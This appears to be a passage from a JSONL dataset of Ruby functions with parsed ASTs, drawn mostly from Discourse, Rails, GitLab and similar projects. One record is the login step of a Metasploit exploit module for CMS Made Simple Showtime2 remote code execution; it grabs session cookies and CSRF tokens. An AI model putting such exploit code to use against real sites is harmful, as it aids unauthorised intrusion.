\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cipher\"]},\"key=\",{\"type\":\"lvar\",\"children\":[\"kek\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cipher\"]},\"padding=\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cipher\"]},\"update\",{\"type\":\"lvar\",\"children\":[\"data\"]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"n\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"r\"]},\"length\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"int\",\"children\":[5]},\"downto\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"j\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"n\"]},\"-\",{\"type\":\"int\",\"children\":[1]}]}]},\"downto\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"i\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"atr\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"a\"]},\"unpack1\",{\"type\":\"str\",\"children\":[\"Q>\"]}]},\"^\",{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"n\"]},\"*\",{\"type\":\"lvar\",\"children\":[\"j\"]}]}]},\"+\",{\"type\":\"lvar\",\"children\":[\"i\"]}]},\"+\",{\"type\":\"int\",\"children\":[1]}]}]}]}]},\"pack\",{\"type\":\"str\",\"children\":[\"Q>\"]}]},\"+\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"r\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"i\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"b\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ciph\"]},\"call\",{\"type\":\"lvar\",\"children\":[\"atr\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"a\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"b\"]},\"[]\",{\"type\":\"erange\",\"children\":[null,{\"type\":\"int\",\"children\":[8]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"r\"]},\"[]=\",{\"type\":\"lvar\",\"children\":[\"i\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"b\"]},\"[]\",{\"type\":\"erange\",\"children\":[{\"type\":\"int\",\"children\":[-8]},null]}]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"authenticate\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"a\"]},\"!=\",{\"type\":\"lvar\",\"children\":[\"icv1\"]}]}]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"RuntimeError\"]},\"new\",{\"type\":\"str\",\"children\":[\"ICV1 integrity check failed in KW-AD(C)\"]}]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"r\"]},\"join\",{\"type\":\"str\",\"children\":[\"\"]}]}]}]}","id":"4a2b8b46-b622-495b-992d-323017713c0f"}
{"repo_name":"discourse","file_path":"./repos/discourse/spec/system/page_objects/pages/admin_site_texts.rb","start_line":35,"raw_source":"def toggle_only_show_outdated\n        find(\"#toggle-outdated\").click\n      end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"toggle_only_show_outdated\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"find\",{\"type\":\"str\",\"children\":[\"#toggle-outdated\"]}]},\"click\"]}]}","id":"ead48729-2e9f-45e3-b6dc-36aed1f797ac"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/discourse-rss-polling/app/services/discourse_rss_polling/feed_setting_finder.rb","start_line":23,"raw_source":"def initialize\n      @condition = Proc.new { |*| true }\n    end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[]},{\"type\":\"ivasgn\",\"children\":[\"@condition\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Proc\"]},\"new\"]},{\"type\":\"args\",\"children\":[{\"type\":\"restarg\",\"children\":[]}]},{\"type\":\"true\",\"children\":[]}]}]}]}","id":"7d03d372-b0bc-407c-b083-793e570361c1"}
{"repo_name":"rspec-core","file_path":"./repos/rspec-core/lib/rspec/core/ruby_project.rb","start_line":16,"raw_source":"def root\n        @project_root ||= determine_root\n      end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"root\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@project_root\"]},{\"type\":\"send\",\"children\":[null,\"determine_root\"]}]}]}","id":"457d7f3d-7500-4a74-b4a0-0208819c67c6"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/github_import/client.rb","start_line":186,"raw_source":"def with_rate_limit\n        return with_retry { yield } unless rate_limiting_enabled?\n\n        request_count_counter.increment\n\n        raise_or_wait_for_rate_limit('Internal threshold reached') unless requests_remaining?\n\n        begin\n          with_retry { yield }\n        rescue ::Octokit::TooManyRequests => e\n          raise_or_wait_for_rate_limit(e.response_body)\n\n          # This retry will only happen when running in sequential mode as we'll\n          # raise an error in parallel mode.\n          retry\n        end\n      end","complexity_score":18.6,"ast_json":"{\"type\":\"def\",\"children\":[\"with_rate_limit\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rate_limiting_enabled?\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"with_retry\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"yield\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"request_count_counter\"]},\"increment\"]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"requests_remaining?\"]},null,{\"type\":\"send\",\"children\":[null,\"raise_or_wait_for_rate_limit\",{\"type\":\"str\",\"children\":[\"Internal threshold reached\"]}]}]},{\"type\":\"kwbegin\",\"children\":[{\"type\":\"rescue\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"with_retry\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"yield\",\"children\":[]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Octokit\"]},\"TooManyRequests\"]}]},{\"type\":\"lvasgn\",\"children\":[\"e\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"raise_or_wait_for_rate_limit\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]},\"response_body\"]}]},{\"type\":\"retry\",\"children\":[]}]}]},null]}]}]}]}","id":"ef32aa94-a45d-485f-b480-bdbac7230272"}
{"repo_name":"discourse","file_path":"./repos/discourse/app/services/discourse_id/register.rb","start_line":22,"raw_source":"def request_challenge\n    uri = URI(\"#{discourse_id_url}/challenge\")\n    use_ssl = Rails.env.production? || uri.scheme == \"https\"\n\n    body = { domain: Discourse.current_hostname }\n    body[:path] = Discourse.base_path if Discourse.base_path.present?\n\n    request = Net::HTTP::Post.new(uri)\n    request.content_type = \"application/json\"\n    request.body = body.to_json\n\n    begin\n      response = Net::HTTP.start(uri.hostname, uri.port, use_ssl:) { |http| http.request(request) }\n    rescue StandardError => e\n      return fail!(error: \"Challenge request failed: #{e.message}\")\n    end\n\n    if response.code.to_i != 200\n      return fail!(error: \"Failed to request challenge: #{response.code}\\nError: #{response.body}\")\n    end\n\n    begin\n      json = JSON.parse(response.body)\n    rescue JSON::ParserError => e\n      return fail!(error: \"Challenge response invalid JSON: #{e.message}\")\n    end\n\n    if json[\"domain\"] != Discourse.current_hostname\n      return fail!(error: \"Domain mismatch in challenge response\")\n    end\n\n    if Discourse.base_path.present? && json[\"path\"] != Discourse.base_path\n      return fail!(error: \"Path mismatch in challenge response\")\n    end\n\n    context[:token] = json[\"token\"]\n  end","complexity_score":68.3,"ast_json":"{\"type\":\"def\",\"children\":[\"request_challenge\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"uri\",{\"type\":\"send\",\"children\":[null,\"URI\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"discourse_id_url\"]}]},{\"type\":\"str\",\"children\":[\"/challenge\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"use_ssl\",{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rails\"]},\"env\"]},\"production?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"uri\"]},\"scheme\"]},\"==\",{\"type\":\"str\",\"children\":[\"https\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"body\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"domain\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Discourse\"]},\"current_hostname\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Discourse\"]},\"base_path\"]},\"present?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"body\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"path\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Discourse\"]},\"base_path\"]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"request\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Net\"]},\"HTTP\"]},\"Post\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"uri\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"request\"]},\"content_type=\",{\"type\":\"str\",\"children\":[\"application/json\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"request\"]},\"body=\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"body\"]},\"to_json\"]}]},{\"type\":\"kwbegin\",\"children\":[{\"type\":\"rescue\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"response\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Net\"]},\"HTTP\"]},\"start\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"uri\"]},\"hostname\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"uri\"]},\"port\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"use_ssl\"]},{\"type\":\"lvar\",\"children\":[\"use_ssl\"]}]}]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"http\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"http\"]},\"request\",{\"type\":\"lvar\",\"children\":[\"request\"]}]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"StandardError\"]}]},{\"type\":\"lvasgn\",\"children\":[\"e\"]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[null,\"fail!\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"error\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Challenge request failed: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]},\"message\"]}]}]}]}]}]}]}]},null]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"response\"]},\"code\"]},\"to_i\"]},\"!=\",{\"type\":\"int\",\"children\":[200]}]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[null,\"fail!\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"error\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Failed to request challenge: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"response\"]},\"code\"]}]},{\"type\":\"str\",\"children\":[\"\\nError: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"response\"]},\"body\"]}]}]}]}]}]}]},null]},{\"type\":\"kwbegin\",\"children\":[{\"type\":\"rescue\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"json\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"JSON\"]},\"parse\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"response\"]},\"body\"]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"JSON\"]},\"ParserError\"]}]},{\"type\":\"lvasgn\",\"children\":[\"e\"]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[null,\"fail!\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"error\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Challenge response invalid JSON: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]},\"message\"]}]}]}]}]}]}]}]},null]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"json\"]},\"[]\",{\"type\":\"str\",\"children\":[\"domain\"]}]},\"!=\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Discourse\"]},\"current_hostname\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[null,\"fail!\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"error\"]},{\"type\":\"str\",\"children\":[\"Domain mismatch in challenge response\"]}]}]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Discourse\"]},\"base_path\"]},\"present?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"json\"]},\"[]\",{\"type\":\"str\",\"children\":[\"path\"]}]},\"!=\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Discourse\"]},\"base_path\"]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[null,\"fail!\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"error\"]},{\"type\":\"str\",\"children\":[\"Path mismatch in challenge response\"]}]}]}]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"context\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"token\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"json\"]},\"[]\",{\"type\":\"str\",\"children\":[\"token\"]}]}]}]}]}","id":"ed8f7388-bfb5-4fbd-a9ca-a2d88940050d"}
{"repo_name":"rails","file_path":"./repos/rails/activesupport/lib/active_support/values/time_zone.rb","start_line":558,"raw_source":"def local_to_utc(time, dst = true)\n      tzinfo.local_to_utc(time, dst)\n    end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"local_to_utc\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"time\"]},{\"type\":\"optarg\",\"children\":[\"dst\",{\"type\":\"true\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"tzinfo\"]},\"local_to_utc\",{\"type\":\"lvar\",\"children\":[\"time\"]},{\"type\":\"lvar\",\"children\":[\"dst\"]}]}]}","id":"e4e8752f-0736-4252-ba31-ab5b50f0f062"}
{"repo_name":"discourse","file_path":"./repos/discourse/app/serializers/reviewable_serializer.rb","start_line":81,"raw_source":"def self.payload_attributes(*attributes)\n    self._payload_for_serialization ||= []\n    self._payload_for_serialization += attributes.map(&:to_s)\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"payload_attributes\",{\"type\":\"args\",\"children\":[{\"type\":\"restarg\",\"children\":[\"attributes\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"or_asgn\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"_payload_for_serialization\"]},{\"type\":\"array\",\"children\":[]}]},{\"type\":\"op_asgn\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"_payload_for_serialization\"]},\"+\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"attributes\"]},\"map\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"to_s\"]}]}]}]}]}]}","id":"e73bf767-458e-4ae2-9249-0449c9140a42"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/models/queries/filters/base.rb","start_line":68,"raw_source":"def self.create!(name: key, **options)\n    new(name, options)\n  end","complexity_score":2.0,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"create!\",{\"type\":\"args\",\"children\":[{\"type\":\"kwoptarg\",\"children\":[\"name\",{\"type\":\"send\",\"children\":[null,\"key\"]}]},{\"type\":\"kwrestarg\",\"children\":[\"options\"]}]},{\"type\":\"send\",\"children\":[null,\"new\",{\"type\":\"lvar\",\"children\":[\"name\"]},{\"type\":\"lvar\",\"children\":[\"options\"]}]}]}","id":"00919c97-ff5a-470f-939e-a06ee6879977"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/layout/first_argument_indentation.rb","start_line":259,"raw_source":"def comment_lines\n          @comment_lines ||=\n            processed_source\n            .comments\n            .select { |c| begins_its_line?(c.source_range) }\n            .map { |c| c.loc.line }\n        end","complexity_score":13.6,"ast_json":"{\"type\":\"def\",\"children\":[\"comment_lines\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@comment_lines\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"processed_source\"]},\"comments\"]},\"select\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"c\"]}]},{\"type\":\"send\",\"children\":[null,\"begins_its_line?\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"c\"]},\"source_range\"]}]}]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"c\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"c\"]},\"loc\"]},\"line\"]}]}]}]}","id":"c2dde821-1070-4b37-a86b-4d94ad961f9f"}
{"repo_name":"discourse","file_path":"./repos/discourse/lib/discourse_plugin_registry.rb","start_line":165,"raw_source":"def register_css(filename, plugin_directory_name)\n    self.class.stylesheets[plugin_directory_name] ||= Set.new\n    self.class.stylesheets[plugin_directory_name] << filename\n  end","complexity_score":8.4,"ast_json":"{\"type\":\"def\",\"children\":[\"register_css\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"filename\"]},{\"type\":\"arg\",\"children\":[\"plugin_directory_name\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"or_asgn\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"class\"]},\"stylesheets\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"plugin_directory_name\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Set\"]},\"new\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"class\"]},\"stylesheets\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"plugin_directory_name\"]}]},\"<<\",{\"type\":\"lvar\",\"children\":[\"filename\"]}]}]}]}","id":"4fca9f4b-2821-4bb1-b180-f01e3115c3eb"}
{"repo_name":"discourse","file_path":"./repos/discourse/app/models/topic_embed.rb","start_line":38,"raw_source":"def self.imported_from_html(url)\n    url = UrlHelper.normalized_encode(url)\n    I18n.with_locale(SiteSetting.default_locale) do\n      \"\\n<hr>\\n<small>#{I18n.t(\"embed.imported_from\", link: \"<a href='#{url}'>#{url}</a>\")}</small>\\n\"\n    end\n  end","complexity_score":6.3,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"imported_from_html\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"url\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"url\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UrlHelper\"]},\"normalized_encode\",{\"type\":\"lvar\",\"children\":[\"url\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"with_locale\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SiteSetting\"]},\"default_locale\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n<hr>\\n<small>\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"t\",{\"type\":\"str\",\"children\":[\"embed.imported_from\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"link\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"<a href='\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"url\"]}]},{\"type\":\"str\",\"children\":[\"'>\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"url\"]}]},{\"type\":\"str\",\"children\":[\"</a>\"]}]}]}]}]}]},{\"type\":\"str\",\"children\":[\"</small>\\n\"]}]}]}]}]}","id":"a49c04c9-77b3-49b6-b2b3-d99507c9e234"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/multi/http/cmsms_showtime2_rce.rb","start_line":64,"raw_source":"def do_login\n    res = send_request_cgi(\n      'method' => 'POST',\n      'uri' => normalize_uri(target_uri.path, 'admin', 'login.php'),\n      'vars_post' => {\n        'username' => datastore['username'],\n        'password' => datastore['password'],\n        'loginsubmit' => 'Submit'\n      }\n    )\n\n    unless res\n      fail_with(Failure::Unreachable, 'Connection failed')\n    end\n\n    if res.code == 302\n      @csrf_name = res.headers['Location'].scan(/([^?=&]+)[=([^&]*)]?/).flatten[-2].to_s\n      @csrf_value = res.headers['Location'].scan(/([^?=&]+)[=([^&]*)]?/).flatten[-1].to_s\n      @cookies = res.get_cookies\n      return\n    end\n\n    fail_with(Failure::NoAccess, 'Authentication was unsuccessful')\n  end","complexity_score":43.6,"ast_json":"{\"type\":\"def\",\"children\":[\"do_login\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[null,\"send_request_cgi\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"method\"]},{\"type\":\"str\",\"children\":[\"POST\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"uri\"]},{\"type\":\"send\",\"children\":[null,\"normalize_uri\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target_uri\"]},\"path\"]},{\"type\":\"str\",\"children\":[\"admin\"]},{\"type\":\"str\",\"children\":[\"login.php\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"vars_post\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"username\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"username\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"password\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"password\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"loginsubmit\"]},{\"type\":\"str\",\"children\":[\"Submit\"]}]}]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},null,{\"type\":\"send\",\"children\":[null,\"fail_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Failure\"]},\"Unreachable\"]},{\"type\":\"str\",\"children\":[\"Connection failed\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"code\"]},\"==\",{\"type\":\"int\",\"children\":[302]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@csrf_name\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"headers\"]},\"[]\",{\"type\":\"str\",\"children\":[\"Location\"]}]},\"scan\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"([^?=&]+)[=([^&]*)]?\"]},{\"type\":\"regopt\",\"children\":[]}]}]},\"flatten\"]},\"[]\",{\"type\":\"int\",\"children\":[-2]}]},\"to_s\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@csrf_value\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"headers\"]},\"[]\",{\"type\":\"str\",\"children\":[\"Location\"]}]},\"scan\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"([^?=&]+)[=([^&]*)]?\"]},{\"type\":\"regopt\",\"children\":[]}]}]},\"flatten\"]},\"[]\",{\"type\":\"int\",\"children\":[-1]}]},\"to_s\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@cookies\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"get_cookies\"]}]},{\"type\":\"return\",\"children\":[]}]},null]},{\"type\":\"send\",\"children\":[null,\"fail_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Failure\"]},\"NoAccess\"]},{\"type\":\"str\",\"children\":[\"Authentication was unsuccessful\"]}]}]}]}","id":"9247dbdb-4f2e-4a76-8c43-8d2327f83006"}
